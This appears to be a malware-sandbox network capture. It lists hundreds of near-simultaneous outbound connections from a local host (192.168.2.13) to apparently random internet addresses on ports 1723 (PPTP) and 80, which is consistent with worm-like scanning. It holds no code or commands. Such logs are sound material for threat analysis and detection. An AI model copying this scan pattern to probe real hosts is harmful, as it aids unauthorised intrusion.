Apr 15, 2024 08:51:54.237539053 CEST	4334	1723	192.168.2.13	181.156.153.150
Apr 15, 2024 08:51:54.237539053 CEST	5870	80	192.168.2.13	77.237.167.131
Apr 15, 2024 08:51:54.237539053 CEST	4334	1723	192.168.2.13	181.114.136.97
Apr 15, 2024 08:51:54.237546921 CEST	5870	80	192.168.2.13	139.60.204.26
Apr 15, 2024 08:51:54.237546921 CEST	5870	80	192.168.2.13	240.54.13.142
Apr 15, 2024 08:51:54.237550020 CEST	5870	80	192.168.2.13	139.149.197.132
Apr 15, 2024 08:51:54.237550020 CEST	4334	1723	192.168.2.13	181.211.73.226
Apr 15, 2024 08:51:54.237555981 CEST	4334	1723	192.168.2.13	181.141.222.86
Apr 15, 2024 08:51:54.237556934 CEST	4334	1723	192.168.2.13	181.119.128.203
Apr 15, 2024 08:51:54.237560987 CEST	5870	80	192.168.2.13	60.12.255.177
Apr 15, 2024 08:51:54.237560987 CEST	4334	1723	192.168.2.13	181.73.236.7
Apr 15, 2024 08:51:54.237560987 CEST	5870	80	192.168.2.13	213.151.51.20
Apr 15, 2024 08:51:54.237571001 CEST	4334	1723	192.168.2.13	181.137.68.170
Apr 15, 2024 08:51:54.237571955 CEST	5870	80	192.168.2.13	170.232.183.34
Apr 15, 2024 08:51:54.237571001 CEST	4334	1723	192.168.2.13	181.235.166.189
Apr 15, 2024 08:51:54.237591028 CEST	5870	80	192.168.2.13	244.244.122.205
Apr 15, 2024 08:51:54.237592936 CEST	5870	80	192.168.2.13	96.174.212.69
Apr 15, 2024 08:51:54.237593889 CEST	5870	80	192.168.2.13	247.231.60.183
Apr 15, 2024 08:51:54.237605095 CEST	5870	80	192.168.2.13	134.116.160.175
Apr 15, 2024 08:51:54.237605095 CEST	5870	80	192.168.2.13	254.58.5.223
Apr 15, 2024 08:51:54.237606049 CEST	5870	80	192.168.2.13	122.42.135.23
Apr 15, 2024 08:51:54.237607002 CEST	5870	80	192.168.2.13	148.66.249.7
Apr 15, 2024 08:51:54.237607956 CEST	5870	80	192.168.2.13	58.46.238.49
Apr 15, 2024 08:51:54.237618923 CEST	5870	80	192.168.2.13	75.244.237.218
Apr 15, 2024 08:51:54.237632990 CEST	5870	80	192.168.2.13	74.235.63.12
Apr 15, 2024 08:51:54.237632990 CEST	5870	80	192.168.2.13	107.195.207.183
Apr 15, 2024 08:51:54.237641096 CEST	5870	80	192.168.2.13	193.132.156.72
Apr 15, 2024 08:51:54.237643003 CEST	5870	80	192.168.2.13	248.157.25.42
Apr 15, 2024 08:51:54.237646103 CEST	5870	80	192.168.2.13	16.19.134.111
Apr 15, 2024 08:51:54.237677097 CEST	5870	80	192.168.2.13	174.160.218.50
Apr 15, 2024 08:51:54.237679005 CEST	5870	80	192.168.2.13	211.17.170.97
Apr 15, 2024 08:51:54.237679005 CEST	5870	80	192.168.2.13	75.224.94.81
Apr 15, 2024 08:51:54.237689018 CEST	5870	80	192.168.2.13	41.71.142.82
Apr 15, 2024 08:51:54.237692118 CEST	5870	80	192.168.2.13	205.166.177.207
Apr 15, 2024 08:51:54.237694025 CEST	5870	80	192.168.2.13	11.97.229.35
Apr 15, 2024 08:51:54.237694025 CEST	5870	80	192.168.2.13	27.250.46.117
Apr 15, 2024 08:51:54.237694979 CEST	4334	1723	192.168.2.13	181.169.40.209
Apr 15, 2024 08:51:54.237694979 CEST	4334	1723	192.168.2.13	181.105.55.16
Apr 15, 2024 08:51:54.237694979 CEST	5870	80	192.168.2.13	251.144.179.82
Apr 15, 2024 08:51:54.237700939 CEST	5870	80	192.168.2.13	89.24.174.233
Apr 15, 2024 08:51:54.237709999 CEST	4334	1723	192.168.2.13	181.221.28.160
Apr 15, 2024 08:51:54.237709999 CEST	5870	80	192.168.2.13	254.121.105.130
Apr 15, 2024 08:51:54.237709999 CEST	4334	1723	192.168.2.13	181.233.99.43
Apr 15, 2024 08:51:54.237711906 CEST	4334	1723	192.168.2.13	181.157.172.18
Apr 15, 2024 08:51:54.237730026 CEST	4334	1723	192.168.2.13	181.186.100.251
Apr 15, 2024 08:51:54.237732887 CEST	4334	1723	192.168.2.13	181.64.46.38
Apr 15, 2024 08:51:54.237735033 CEST	5870	80	192.168.2.13	168.19.120.234
Apr 15, 2024 08:51:54.237736940 CEST	5870	80	192.168.2.13	240.17.135.182
Apr 15, 2024 08:51:54.237739086 CEST	5870	80	192.168.2.13	112.39.54.247
Apr 15, 2024 08:51:54.237739086 CEST	5870	80	192.168.2.13	122.150.119.170
Apr 15, 2024 08:51:54.237740040 CEST	4334	1723	192.168.2.13	181.140.156.246
Apr 15, 2024 08:51:54.237740040 CEST	5870	80	192.168.2.13	78.133.63.253
Apr 15, 2024 08:51:54.237741947 CEST	5870	80	192.168.2.13	94.162.144.183
Apr 15, 2024 08:51:54.237759113 CEST	4334	1723	192.168.2.13	181.147.176.252
Apr 15, 2024 08:51:54.237760067 CEST	5870	80	192.168.2.13	180.98.181.49
Apr 15, 2024 08:51:54.237760067 CEST	5870	80	192.168.2.13	171.253.151.17
Apr 15, 2024 08:51:54.237761021 CEST	4334	1723	192.168.2.13	181.32.219.142
Apr 15, 2024 08:51:54.237760067 CEST	4334	1723	192.168.2.13	181.29.124.220
Apr 15, 2024 08:51:54.237761021 CEST	5870	80	192.168.2.13	20.29.49.44
Apr 15, 2024 08:51:54.237761021 CEST	5870	80	192.168.2.13	157.92.28.245
Apr 15, 2024 08:51:54.237776041 CEST	5870	80	192.168.2.13	180.132.144.133
Apr 15, 2024 08:51:54.237781048 CEST	5870	80	192.168.2.13	88.46.232.11
Apr 15, 2024 08:51:54.237781048 CEST	4334	1723	192.168.2.13	181.190.58.100
Apr 15, 2024 08:51:54.237782001 CEST	5870	80	192.168.2.13	245.78.195.155
Apr 15, 2024 08:51:54.237781048 CEST	5870	80	192.168.2.13	60.181.56.7
Apr 15, 2024 08:51:54.237782001 CEST	5870	80	192.168.2.13	131.191.119.147
Apr 15, 2024 08:51:54.237785101 CEST	4334	1723	192.168.2.13	181.18.169.73
Apr 15, 2024 08:51:54.237785101 CEST	5870	80	192.168.2.13	58.85.7.210
Apr 15, 2024 08:51:54.237785101 CEST	5870	80	192.168.2.13	15.142.186.57
Apr 15, 2024 08:51:54.237785101 CEST	5870	80	192.168.2.13	200.190.243.41
Apr 15, 2024 08:51:54.237785101 CEST	5870	80	192.168.2.13	175.243.101.6
Apr 15, 2024 08:51:54.237787008 CEST	5870	80	192.168.2.13	131.47.12.68
Apr 15, 2024 08:51:54.237785101 CEST	5870	80	192.168.2.13	100.162.243.87
Apr 15, 2024 08:51:54.237785101 CEST	5870	80	192.168.2.13	145.136.6.121
Apr 15, 2024 08:51:54.237790108 CEST	5870	80	192.168.2.13	106.89.102.62
Apr 15, 2024 08:51:54.237790108 CEST	5870	80	192.168.2.13	252.21.9.65
Apr 15, 2024 08:51:54.237801075 CEST	5870	80	192.168.2.13	25.141.145.155
Apr 15, 2024 08:51:54.237802982 CEST	5870	80	192.168.2.13	12.120.226.208
Apr 15, 2024 08:51:54.237806082 CEST	5870	80	192.168.2.13	25.205.202.46
Apr 15, 2024 08:51:54.237823009 CEST	5870	80	192.168.2.13	73.24.1.28
Apr 15, 2024 08:51:54.237823963 CEST	5870	80	192.168.2.13	112.118.238.76
Apr 15, 2024 08:51:54.237826109 CEST	5870	80	192.168.2.13	137.149.237.165
Apr 15, 2024 08:51:54.237826109 CEST	5870	80	192.168.2.13	106.22.116.246
Apr 15, 2024 08:51:54.237826109 CEST	5870	80	192.168.2.13	95.232.74.211
Apr 15, 2024 08:51:54.237826109 CEST	5870	80	192.168.2.13	126.125.87.93
Apr 15, 2024 08:51:54.237829924 CEST	5870	80	192.168.2.13	218.95.234.205
Apr 15, 2024 08:51:54.237829924 CEST	5870	80	192.168.2.13	77.241.155.54
Apr 15, 2024 08:51:54.237831116 CEST	5870	80	192.168.2.13	6.121.217.176
Apr 15, 2024 08:51:54.237832069 CEST	5870	80	192.168.2.13	155.97.176.177
Apr 15, 2024 08:51:54.237831116 CEST	5870	80	192.168.2.13	62.68.186.9
Apr 15, 2024 08:51:54.237831116 CEST	5870	80	192.168.2.13	55.19.248.134
Apr 15, 2024 08:51:54.237837076 CEST	5870	80	192.168.2.13	194.103.43.12
Apr 15, 2024 08:51:54.237831116 CEST	5870	80	192.168.2.13	4.212.202.78
Apr 15, 2024 08:51:54.237842083 CEST	5870	80	192.168.2.13	170.95.85.5
Apr 15, 2024 08:51:54.237843037 CEST	5870	80	192.168.2.13	201.44.150.164
Apr 15, 2024 08:51:54.237848043 CEST	5870	80	192.168.2.13	146.190.152.65
Apr 15, 2024 08:51:54.237848997 CEST	5870	80	192.168.2.13	5.156.224.137
Apr 15, 2024 08:51:54.237869024 CEST	5870	80	192.168.2.13	170.178.241.120
Apr 15, 2024 08:51:54.237870932 CEST	5870	80	192.168.2.13	49.111.245.152
Apr 15, 2024 08:51:54.237881899 CEST	5870	80	192.168.2.13	199.173.173.204
Apr 15, 2024 08:51:54.237891912 CEST	5870	80	192.168.2.13	56.52.136.181
Apr 15, 2024 08:51:54.237891912 CEST	4334	1723	192.168.2.13	181.99.20.76
Apr 15, 2024 08:51:54.237906933 CEST	4334	1723	192.168.2.13	181.0.97.117
Apr 15, 2024 08:51:54.237910032 CEST	4334	1723	192.168.2.13	181.174.111.187
Apr 15, 2024 08:51:54.237910986 CEST	5870	80	192.168.2.13	6.1.82.101
Apr 15, 2024 08:51:54.237910986 CEST	5870	80	192.168.2.13	48.119.85.204
Apr 15, 2024 08:51:54.237915039 CEST	5870	80	192.168.2.13	119.255.129.28
Apr 15, 2024 08:51:54.237915039 CEST	5870	80	192.168.2.13	106.1.192.146
Apr 15, 2024 08:51:54.237915039 CEST	5870	80	192.168.2.13	8.239.237.214
Apr 15, 2024 08:51:54.237915039 CEST	4334	1723	192.168.2.13	181.142.185.240
Apr 15, 2024 08:51:54.237915039 CEST	5870	80	192.168.2.13	187.250.68.74
Apr 15, 2024 08:51:54.237915039 CEST	4334	1723	192.168.2.13	181.138.185.58
Apr 15, 2024 08:51:54.237921953 CEST	4334	1723	192.168.2.13	181.30.27.28
Apr 15, 2024 08:51:54.237924099 CEST	5870	80	192.168.2.13	242.235.138.10
Apr 15, 2024 08:51:54.237924099 CEST	4334	1723	192.168.2.13	181.43.83.166
Apr 15, 2024 08:51:54.237927914 CEST	4334	1723	192.168.2.13	181.130.210.177
Apr 15, 2024 08:51:54.237927914 CEST	4334	1723	192.168.2.13	181.253.17.174
Apr 15, 2024 08:51:54.237927914 CEST	5870	80	192.168.2.13	59.212.105.113
Apr 15, 2024 08:51:54.237927914 CEST	4334	1723	192.168.2.13	181.156.86.151
Apr 15, 2024 08:51:54.237935066 CEST	5870	80	192.168.2.13	124.123.88.47
Apr 15, 2024 08:51:54.237938881 CEST	5870	80	192.168.2.13	24.58.219.117
Apr 15, 2024 08:51:54.237938881 CEST	4334	1723	192.168.2.13	181.161.96.167
Apr 15, 2024 08:51:54.237946033 CEST	4334	1723	192.168.2.13	181.58.60.170
Apr 15, 2024 08:51:54.237946033 CEST	4334	1723	192.168.2.13	181.156.162.51
Apr 15, 2024 08:51:54.237946033 CEST	4334	1723	192.168.2.13	181.101.199.58
Apr 15, 2024 08:51:54.237946987 CEST	5870	80	192.168.2.13	70.251.165.106
Apr 15, 2024 08:51:54.237950087 CEST	4334	1723	192.168.2.13	181.118.77.126
Apr 15, 2024 08:51:54.237953901 CEST	5870	80	192.168.2.13	22.194.140.254
Apr 15, 2024 08:51:54.237953901 CEST	5870	80	192.168.2.13	189.41.195.249
Apr 15, 2024 08:51:54.237955093 CEST	4334	1723	192.168.2.13	181.94.136.79
Apr 15, 2024 08:51:54.237960100 CEST	5870	80	192.168.2.13	172.229.35.125
Apr 15, 2024 08:51:54.237962961 CEST	5870	80	192.168.2.13	149.57.23.237
Apr 15, 2024 08:51:54.237962961 CEST	5870	80	192.168.2.13	90.208.130.20
Apr 15, 2024 08:51:54.237970114 CEST	5870	80	192.168.2.13	42.127.142.127
Apr 15, 2024 08:51:54.237971067 CEST	5870	80	192.168.2.13	220.42.158.194
Apr 15, 2024 08:51:54.237977982 CEST	5870	80	192.168.2.13	71.242.229.58
Apr 15, 2024 08:51:54.237977982 CEST	5870	80	192.168.2.13	30.148.160.60
Apr 15, 2024 08:51:54.237977982 CEST	5870	80	192.168.2.13	77.194.169.215
Apr 15, 2024 08:51:54.238003969 CEST	5870	80	192.168.2.13	148.35.212.62
Apr 15, 2024 08:51:54.238003969 CEST	5870	80	192.168.2.13	119.24.172.183
Apr 15, 2024 08:51:54.238013029 CEST	5870	80	192.168.2.13	10.212.201.197
Apr 15, 2024 08:51:54.238013029 CEST	5870	80	192.168.2.13	1.249.49.128
Apr 15, 2024 08:51:54.238017082 CEST	4334	1723	192.168.2.13	181.132.211.145
Apr 15, 2024 08:51:54.238017082 CEST	5870	80	192.168.2.13	246.142.133.197
Apr 15, 2024 08:51:54.238023996 CEST	5870	80	192.168.2.13	166.144.31.28
Apr 15, 2024 08:51:54.238023996 CEST	5870	80	192.168.2.13	149.21.42.57
Apr 15, 2024 08:51:54.238029957 CEST	4334	1723	192.168.2.13	181.69.100.230
Apr 15, 2024 08:51:54.238030910 CEST	5870	80	192.168.2.13	212.200.54.40
Apr 15, 2024 08:51:54.238034964 CEST	5870	80	192.168.2.13	115.3.14.151
Apr 15, 2024 08:51:54.238042116 CEST	5870	80	192.168.2.13	208.47.93.166
Apr 15, 2024 08:51:54.238049984 CEST	4334	1723	192.168.2.13	181.22.138.20
Apr 15, 2024 08:51:54.238049984 CEST	4334	1723	192.168.2.13	181.248.155.84
Apr 15, 2024 08:51:54.238056898 CEST	5870	80	192.168.2.13	69.125.133.182
Apr 15, 2024 08:51:54.238068104 CEST	4334	1723	192.168.2.13	181.31.175.202
Apr 15, 2024 08:51:54.238068104 CEST	5870	80	192.168.2.13	42.72.223.43
Apr 15, 2024 08:51:54.238075018 CEST	5870	80	192.168.2.13	146.53.120.88
Apr 15, 2024 08:51:54.238075018 CEST	4334	1723	192.168.2.13	181.181.121.81
Apr 15, 2024 08:51:54.238080978 CEST	4334	1723	192.168.2.13	181.124.223.229
Apr 15, 2024 08:51:54.238081932 CEST	5870	80	192.168.2.13	117.43.116.12
Apr 15, 2024 08:51:54.238090038 CEST	5870	80	192.168.2.13	104.30.219.254
Apr 15, 2024 08:51:54.238090038 CEST	4334	1723	192.168.2.13	181.18.65.97
Apr 15, 2024 08:51:54.238090038 CEST	5870	80	192.168.2.13	217.136.213.83
Apr 15, 2024 08:51:54.238090992 CEST	4334	1723	192.168.2.13	181.41.57.73
Apr 15, 2024 08:51:54.238090992 CEST	5870	80	192.168.2.13	168.86.41.123
Apr 15, 2024 08:51:54.238096952 CEST	5870	80	192.168.2.13	62.22.138.195
Apr 15, 2024 08:51:54.238110065 CEST	5870	80	192.168.2.13	68.134.101.135
Apr 15, 2024 08:51:54.238118887 CEST	5870	80	192.168.2.13	39.64.211.241
Apr 15, 2024 08:51:54.238120079 CEST	5870	80	192.168.2.13	158.32.236.0
Apr 15, 2024 08:51:54.238120079 CEST	5870	80	192.168.2.13	194.21.61.150
Apr 15, 2024 08:51:54.238120079 CEST	5870	80	192.168.2.13	110.14.217.250
Apr 15, 2024 08:51:54.238121986 CEST	5870	80	192.168.2.13	100.36.104.15
Apr 15, 2024 08:51:54.238121986 CEST	5870	80	192.168.2.13	171.129.106.82
Apr 15, 2024 08:51:54.238122940 CEST	5870	80	192.168.2.13	184.216.0.149
Apr 15, 2024 08:51:54.238126993 CEST	5870	80	192.168.2.13	240.225.188.182
Apr 15, 2024 08:51:54.238130093 CEST	5870	80	192.168.2.13	212.105.75.147
Apr 15, 2024 08:51:54.238148928 CEST	5870	80	192.168.2.13	140.8.219.53
Apr 15, 2024 08:51:54.238151073 CEST	5870	80	192.168.2.13	162.6.182.193
Apr 15, 2024 08:51:54.238151073 CEST	5870	80	192.168.2.13	158.111.227.134
Apr 15, 2024 08:51:54.238162994 CEST	5870	80	192.168.2.13	15.140.225.32
Apr 15, 2024 08:51:54.238164902 CEST	5870	80	192.168.2.13	40.124.61.90
Apr 15, 2024 08:51:54.238168001 CEST	5870	80	192.168.2.13	185.68.214.191
Apr 15, 2024 08:51:54.238178015 CEST	5870	80	192.168.2.13	243.174.158.50
Apr 15, 2024 08:51:54.238213062 CEST	4334	1723	192.168.2.13	181.24.60.168
Apr 15, 2024 08:51:54.238213062 CEST	5870	80	192.168.2.13	181.38.13.126
Apr 15, 2024 08:51:54.238214016 CEST	5870	80	192.168.2.13	201.178.249.85
Apr 15, 2024 08:51:54.238214970 CEST	4334	1723	192.168.2.13	181.114.158.104
Apr 15, 2024 08:51:54.238214970 CEST	4334	1723	192.168.2.13	181.84.228.184
Apr 15, 2024 08:51:54.238214970 CEST	5870	80	192.168.2.13	8.103.200.158
Apr 15, 2024 08:51:54.238217115 CEST	5870	80	192.168.2.13	12.188.120.171
Apr 15, 2024 08:51:54.238217115 CEST	5870	80	192.168.2.13	73.186.139.162
Apr 15, 2024 08:51:54.238228083 CEST	4334	1723	192.168.2.13	181.216.170.45
Apr 15, 2024 08:51:54.238228083 CEST	5870	80	192.168.2.13	184.162.108.61
Apr 15, 2024 08:51:54.238229990 CEST	5870	80	192.168.2.13	58.237.23.134
Apr 15, 2024 08:51:54.238231897 CEST	4334	1723	192.168.2.13	181.208.145.241
Apr 15, 2024 08:51:54.238231897 CEST	5870	80	192.168.2.13	211.191.244.228
Apr 15, 2024 08:51:54.238233089 CEST	5870	80	192.168.2.13	90.169.253.62
Apr 15, 2024 08:51:54.238231897 CEST	4334	1723	192.168.2.13	181.76.244.185
Apr 15, 2024 08:51:54.238231897 CEST	5870	80	192.168.2.13	154.186.168.142
Apr 15, 2024 08:51:54.238231897 CEST	4334	1723	192.168.2.13	181.84.197.219
Apr 15, 2024 08:51:54.238233089 CEST	4334	1723	192.168.2.13	181.20.15.9
Apr 15, 2024 08:51:54.238231897 CEST	4334	1723	192.168.2.13	181.1.164.207
Apr 15, 2024 08:51:54.238233089 CEST	4334	1723	192.168.2.13	181.116.76.168
Apr 15, 2024 08:51:54.238233089 CEST	4334	1723	192.168.2.13	181.65.93.104
Apr 15, 2024 08:51:54.238249063 CEST	5870	80	192.168.2.13	52.38.173.244
Apr 15, 2024 08:51:54.238249063 CEST	4334	1723	192.168.2.13	181.139.15.119
Apr 15, 2024 08:51:54.238266945 CEST	5870	80	192.168.2.13	107.33.73.27
Apr 15, 2024 08:51:54.238266945 CEST	5870	80	192.168.2.13	181.232.228.80
Apr 15, 2024 08:51:54.238269091 CEST	5870	80	192.168.2.13	37.123.244.238
Apr 15, 2024 08:51:54.238269091 CEST	4334	1723	192.168.2.13	181.107.20.249
Apr 15, 2024 08:51:54.238269091 CEST	4334	1723	192.168.2.13	181.152.224.35
Apr 15, 2024 08:51:54.238269091 CEST	5870	80	192.168.2.13	217.19.185.30
Apr 15, 2024 08:51:54.238270044 CEST	5870	80	192.168.2.13	42.156.78.205
Apr 15, 2024 08:51:54.238271952 CEST	5870	80	192.168.2.13	102.108.24.190
Apr 15, 2024 08:51:54.238269091 CEST	5870	80	192.168.2.13	38.181.30.22
Apr 15, 2024 08:51:54.238270044 CEST	4334	1723	192.168.2.13	181.67.202.44
Apr 15, 2024 08:51:54.238270044 CEST	4334	1723	192.168.2.13	181.217.117.37
Apr 15, 2024 08:51:54.238270044 CEST	5870	80	192.168.2.13	204.135.156.79
Apr 15, 2024 08:51:54.238286018 CEST	5870	80	192.168.2.13	200.122.5.245
Apr 15, 2024 08:51:54.238289118 CEST	4334	1723	192.168.2.13	181.98.148.50
Apr 15, 2024 08:51:54.238292933 CEST	5870	80	192.168.2.13	253.88.192.187
Apr 15, 2024 08:51:54.238292933 CEST	5870	80	192.168.2.13	148.135.111.208
Apr 15, 2024 08:51:54.238297939 CEST	5870	80	192.168.2.13	118.96.250.116
Apr 15, 2024 08:51:54.238297939 CEST	5870	80	192.168.2.13	61.70.11.215
Apr 15, 2024 08:51:54.238297939 CEST	5870	80	192.168.2.13	248.133.20.230
Apr 15, 2024 08:51:54.238301992 CEST	4334	1723	192.168.2.13	181.125.91.210
Apr 15, 2024 08:51:54.238310099 CEST	5870	80	192.168.2.13	64.164.128.189
Apr 15, 2024 08:51:54.238310099 CEST	5870	80	192.168.2.13	160.145.114.50
Apr 15, 2024 08:51:54.238310099 CEST	5870	80	192.168.2.13	179.230.22.251
Apr 15, 2024 08:51:54.238312006 CEST	5870	80	192.168.2.13	99.186.33.176
Apr 15, 2024 08:51:54.238312006 CEST	5870	80	192.168.2.13	32.191.133.130
Apr 15, 2024 08:51:54.238313913 CEST	5870	80	192.168.2.13	214.71.21.54
Apr 15, 2024 08:51:54.238313913 CEST	5870	80	192.168.2.13	179.63.22.12
Apr 15, 2024 08:51:54.238327980 CEST	5870	80	192.168.2.13	125.104.19.123
Apr 15, 2024 08:51:54.238328934 CEST	5870	80	192.168.2.13	44.232.119.147
Apr 15, 2024 08:51:54.238329887 CEST	5870	80	192.168.2.13	180.215.31.172
Apr 15, 2024 08:51:54.238331079 CEST	5870	80	192.168.2.13	123.123.32.103
Apr 15, 2024 08:51:54.238331079 CEST	5870	80	192.168.2.13	138.82.79.242
Apr 15, 2024 08:51:54.238334894 CEST	5870	80	192.168.2.13	51.126.35.156
Apr 15, 2024 08:51:54.238334894 CEST	5870	80	192.168.2.13	247.239.36.172
Apr 15, 2024 08:51:54.238341093 CEST	5870	80	192.168.2.13	245.168.213.86
Apr 15, 2024 08:51:54.238341093 CEST	5870	80	192.168.2.13	173.239.244.200
Apr 15, 2024 08:51:54.238342047 CEST	5870	80	192.168.2.13	156.240.106.77
Apr 15, 2024 08:51:54.238341093 CEST	5870	80	192.168.2.13	214.44.155.0
Apr 15, 2024 08:51:54.238343000 CEST	5870	80	192.168.2.13	92.224.207.17
Apr 15, 2024 08:51:54.238342047 CEST	5870	80	192.168.2.13	163.205.56.119
Apr 15, 2024 08:51:54.238342047 CEST	5870	80	192.168.2.13	80.177.163.222
Apr 15, 2024 08:51:54.238342047 CEST	5870	80	192.168.2.13	252.15.247.183
Apr 15, 2024 08:51:54.238354921 CEST	5870	80	192.168.2.13	207.60.255.130
Apr 15, 2024 08:51:54.238354921 CEST	5870	80	192.168.2.13	185.60.139.95
Apr 15, 2024 08:51:54.238354921 CEST	5870	80	192.168.2.13	11.163.252.36
Apr 15, 2024 08:51:54.238356113 CEST	5870	80	192.168.2.13	69.127.232.2
Apr 15, 2024 08:51:54.238356113 CEST	5870	80	192.168.2.13	60.179.41.248
Apr 15, 2024 08:51:54.238358021 CEST	5870	80	192.168.2.13	196.58.201.163
Apr 15, 2024 08:51:54.238368034 CEST	5870	80	192.168.2.13	141.136.238.64
Apr 15, 2024 08:51:54.238368034 CEST	5870	80	192.168.2.13	166.169.184.57
Apr 15, 2024 08:51:54.238370895 CEST	5870	80	192.168.2.13	133.167.242.204
Apr 15, 2024 08:51:54.238370895 CEST	5870	80	192.168.2.13	128.103.250.226
Apr 15, 2024 08:51:54.238370895 CEST	5870	80	192.168.2.13	68.130.109.102
Apr 15, 2024 08:51:54.238372087 CEST	5870	80	192.168.2.13	137.122.36.70
Apr 15, 2024 08:51:54.238389969 CEST	5870	80	192.168.2.13	11.247.73.93
Apr 15, 2024 08:51:54.238392115 CEST	5870	80	192.168.2.13	222.67.106.209
Apr 15, 2024 08:51:54.238399029 CEST	4334	1723	192.168.2.13	181.141.192.227
Apr 15, 2024 08:51:54.238400936 CEST	5870	80	192.168.2.13	125.229.106.180
Apr 15, 2024 08:51:54.238400936 CEST	5870	80	192.168.2.13	114.225.3.16
Apr 15, 2024 08:51:54.238409042 CEST	4334	1723	192.168.2.13	181.187.51.27
Apr 15, 2024 08:51:54.238409042 CEST	5870	80	192.168.2.13	72.92.246.224
Apr 15, 2024 08:51:54.238409996 CEST	4334	1723	192.168.2.13	181.114.91.247
Apr 15, 2024 08:51:54.238414049 CEST	5870	80	192.168.2.13	17.48.197.45
Apr 15, 2024 08:51:54.238414049 CEST	5870	80	192.168.2.13	148.186.217.37
Apr 15, 2024 08:51:54.238420963 CEST	4334	1723	192.168.2.13	181.100.27.235
Apr 15, 2024 08:51:54.238420963 CEST	5870	80	192.168.2.13	203.243.129.235
Apr 15, 2024 08:51:54.238425970 CEST	4334	1723	192.168.2.13	181.32.8.159
Apr 15, 2024 08:51:54.238429070 CEST	4334	1723	192.168.2.13	181.240.194.168
Apr 15, 2024 08:51:54.238429070 CEST	4334	1723	192.168.2.13	181.232.10.235
Apr 15, 2024 08:51:54.238430023 CEST	5870	80	192.168.2.13	107.198.16.43
Apr 15, 2024 08:51:54.238429070 CEST	5870	80	192.168.2.13	121.22.71.220
Apr 15, 2024 08:51:54.238429070 CEST	5870	80	192.168.2.13	208.173.79.172
Apr 15, 2024 08:51:54.238435984 CEST	5870	80	192.168.2.13	42.30.39.212
Apr 15, 2024 08:51:54.238435984 CEST	4334	1723	192.168.2.13	181.242.215.1
Apr 15, 2024 08:51:54.238435984 CEST	5870	80	192.168.2.13	158.133.48.234
Apr 15, 2024 08:51:54.238440037 CEST	4334	1723	192.168.2.13	181.2.59.72
Apr 15, 2024 08:51:54.238440037 CEST	5870	80	192.168.2.13	33.26.72.254
Apr 15, 2024 08:51:54.238456964 CEST	4334	1723	192.168.2.13	181.73.156.13
Apr 15, 2024 08:51:54.238461971 CEST	5870	80	192.168.2.13	81.247.216.181
Apr 15, 2024 08:51:54.238461971 CEST	5870	80	192.168.2.13	93.66.32.155
Apr 15, 2024 08:51:54.238471031 CEST	5870	80	192.168.2.13	73.82.223.112
Apr 15, 2024 08:51:54.238478899 CEST	5870	80	192.168.2.13	203.12.247.43
Apr 15, 2024 08:51:54.238481045 CEST	5870	80	192.168.2.13	196.252.112.102
Apr 15, 2024 08:51:54.238481045 CEST	5870	80	192.168.2.13	90.5.252.55
Apr 15, 2024 08:51:54.238481045 CEST	4334	1723	192.168.2.13	181.86.64.41
Apr 15, 2024 08:51:54.238487959 CEST	5870	80	192.168.2.13	188.11.146.244
Apr 15, 2024 08:51:54.238512993 CEST	5870	80	192.168.2.13	2.33.192.6
Apr 15, 2024 08:51:54.238516092 CEST	5870	80	192.168.2.13	136.168.115.182
Apr 15, 2024 08:51:54.238519907 CEST	5870	80	192.168.2.13	30.236.77.51
Apr 15, 2024 08:51:54.238522053 CEST	5870	80	192.168.2.13	131.235.43.14
Apr 15, 2024 08:51:54.238524914 CEST	5870	80	192.168.2.13	64.58.97.118
Apr 15, 2024 08:51:54.238544941 CEST	5870	80	192.168.2.13	197.242.104.110
Apr 15, 2024 08:51:54.238549948 CEST	5870	80	192.168.2.13	104.89.226.11
Apr 15, 2024 08:51:54.238549948 CEST	5870	80	192.168.2.13	150.50.111.16
Apr 15, 2024 08:51:54.238558054 CEST	5870	80	192.168.2.13	115.249.86.51
Apr 15, 2024 08:51:54.238579035 CEST	5870	80	192.168.2.13	45.24.37.70
Apr 15, 2024 08:51:54.238579035 CEST	5870	80	192.168.2.13	165.214.15.17
Apr 15, 2024 08:51:54.238586903 CEST	5870	80	192.168.2.13	3.165.127.90
Apr 15, 2024 08:51:54.238586903 CEST	4334	1723	192.168.2.13	181.225.150.72
Apr 15, 2024 08:51:54.238589048 CEST	4334	1723	192.168.2.13	181.69.213.53
Apr 15, 2024 08:51:54.238594055 CEST	5870	80	192.168.2.13	31.76.21.117
Apr 15, 2024 08:51:54.238598108 CEST	4334	1723	192.168.2.13	181.78.16.11
Apr 15, 2024 08:51:54.238610029 CEST	4334	1723	192.168.2.13	181.193.79.29
Apr 15, 2024 08:51:54.238616943 CEST	4334	1723	192.168.2.13	181.164.81.240
Apr 15, 2024 08:51:54.238621950 CEST	5870	80	192.168.2.13	153.38.13.35
Apr 15, 2024 08:51:54.238621950 CEST	5870	80	192.168.2.13	212.100.206.156
Apr 15, 2024 08:51:54.238621950 CEST	4334	1723	192.168.2.13	181.115.69.110
Apr 15, 2024 08:51:54.238622904 CEST	5870	80	192.168.2.13	36.91.41.160
Apr 15, 2024 08:51:54.238622904 CEST	4334	1723	192.168.2.13	181.134.69.104
Apr 15, 2024 08:51:54.238631010 CEST	5870	80	192.168.2.13	185.236.118.170
Apr 15, 2024 08:51:54.238631010 CEST	4334	1723	192.168.2.13	181.173.74.135
Apr 15, 2024 08:51:54.238631010 CEST	4334	1723	192.168.2.13	181.100.29.61
Apr 15, 2024 08:51:54.238641024 CEST	4334	1723	192.168.2.13	181.59.47.225
Apr 15, 2024 08:51:54.238645077 CEST	5870	80	192.168.2.13	46.120.128.24
Apr 15, 2024 08:51:54.238645077 CEST	4334	1723	192.168.2.13	181.58.124.64
Apr 15, 2024 08:51:54.238656998 CEST	5870	80	192.168.2.13	172.241.18.206
Apr 15, 2024 08:51:54.238656998 CEST	5870	80	192.168.2.13	198.226.231.59
Apr 15, 2024 08:51:54.238660097 CEST	4334	1723	192.168.2.13	181.36.141.26
Apr 15, 2024 08:51:54.238668919 CEST	5870	80	192.168.2.13	161.181.106.155
Apr 15, 2024 08:51:54.238670111 CEST	5870	80	192.168.2.13	136.78.162.118
Apr 15, 2024 08:51:54.238687038 CEST	5870	80	192.168.2.13	187.167.214.242
Apr 15, 2024 08:51:54.238687038 CEST	5870	80	192.168.2.13	132.133.220.186
Apr 15, 2024 08:51:54.238688946 CEST	5870	80	192.168.2.13	215.126.235.248
Apr 15, 2024 08:51:54.238688946 CEST	5870	80	192.168.2.13	74.179.101.243
Apr 15, 2024 08:51:54.238689899 CEST	5870	80	192.168.2.13	92.248.154.72
Apr 15, 2024 08:51:54.238692045 CEST	5870	80	192.168.2.13	66.8.52.85
